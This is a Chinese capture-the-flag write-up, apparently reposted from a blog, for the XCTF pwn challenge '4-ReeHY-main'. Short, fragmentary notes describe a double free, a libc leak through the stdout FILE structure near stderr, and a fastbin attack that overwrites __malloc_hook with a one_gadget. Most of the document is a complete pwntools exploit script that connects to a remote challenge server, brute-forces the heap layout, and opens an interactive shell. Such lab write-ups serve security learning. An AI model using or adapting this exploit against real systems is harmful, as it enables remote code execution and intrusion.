攻防世界 4-ReeHY-main

检查保护机制:

  

 发现  可以好像写got

然后 程序流程

 这里  有double free

然后 再发现  

 这里很有趣 ,要是我的content为零了 且size 小于112  那就从栈上copy一些内容进去

利用double free ,再修改残留在chunk上的fd的信息

就能达到任意地址写入的效果,
但是
这里有没有溢出点

就算能达到任意地址写入
也没什么用

所以  可以malloc 一块到 stderr +157 的地方 
然后 再 edit  

content 先不写  因为

 这个  会刷新stdout 导致之前写入的东西 给重新刷新了

这时候就可以用编辑,写入

不过这时候  只能写最低4字节,所以会有一定的概率性才能malloc 到 那块地方

之所以  选择 stderr +157 因为  那附件只有这块符号size的检测

下面贴出我的 exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = 'debug'
host = "111.198.29.45"
port = 33138

r = remote(host,port)

def creat(size, cun, content):
    r.recvuntil("$ ")
    r.sendline(str(1))
    r.recvuntil("Input size")
    r.sendline(str(size))
    r.recvuntil("Input cun")
    r.sendline(str(cun))
    r.recvuntil("Input content")
    r.sendline(content)

def dele(index):
    r.recvuntil("$ ")
    r.sendline(str(2))
    r.recvuntil("Chose one to dele")
    r.sendline(str(index))

def edit(index, content):
    r.recvuntil("$ ")
    r.sendline(str(3))
    r.recvuntil("Chose one to edit")
    r.sendline(str(index))
    r.recvuntil("Input the content")
    r.send(content)

def show():
    r.recvuntil("$ ")
    r.sendline(str(4))

def exploit():
    global r
    r = remote(host,port)
    libc = ELF('./libc.so.6') 
    r.recvuntil("$ ")
    r.sendline("aaaa")
    creat(0x60, 0, '')
    creat(0x60, 1, '')
    creat(0x60, 2, '')
    dele(0)
    dele(1)
    dele(0)
    creat(0x60, 3, '')
    creat(0x60, 1, '')
    edit(3,p16(0x95dd))
    creat(0x60, 0, '')
    try:
        pay = "xcc"*3+p64(0)*6+p64(0xfbad3c80)+p64(0)*3+chr(0)
        creat(0x60, 4, pay)
    except:
        log.failure("not lucky enough!")
        r.close()
        return False
    edit(4,pay)
    leak = ''
    leak = r.recvuntil("exit")[0x40:0x48]
    print hex(u64(leak))
    LIBC = u64(leak) - e.symbols['_IO_2_1_stderr_']-0xc0
    log.info('libc :0x%x'%LIBC)

    #raw_input()
    target = LIBC + e.symbols['__malloc_hook'] - 0x23
    dele(3)
    edit(0,p64(target))
    onegae = LIBC + 0xf1147
    log.info("onegaget: 0x%x"%onegae)
    payload = 'a'*0x13 +p64(onegae)
    creat(0x60, 1, '')
    creat(0x60, 3, payload)
    dele(1)
    r.recvuntil("$ ")
    r.sendline(str(1))
    r.recvuntil("Input size")
    r.sendline(str(0x60))
    r.recvuntil("Input cun")
    r.sendline(str(1))
    stop = True
    r.interactive()


if __name__ == '__main__':
    stop = False
    e = ELF("./libc.so.6")
    while not stop:
        exploit()
原文地址:https://www.cnblogs.com/liyuechan/p/11479418.html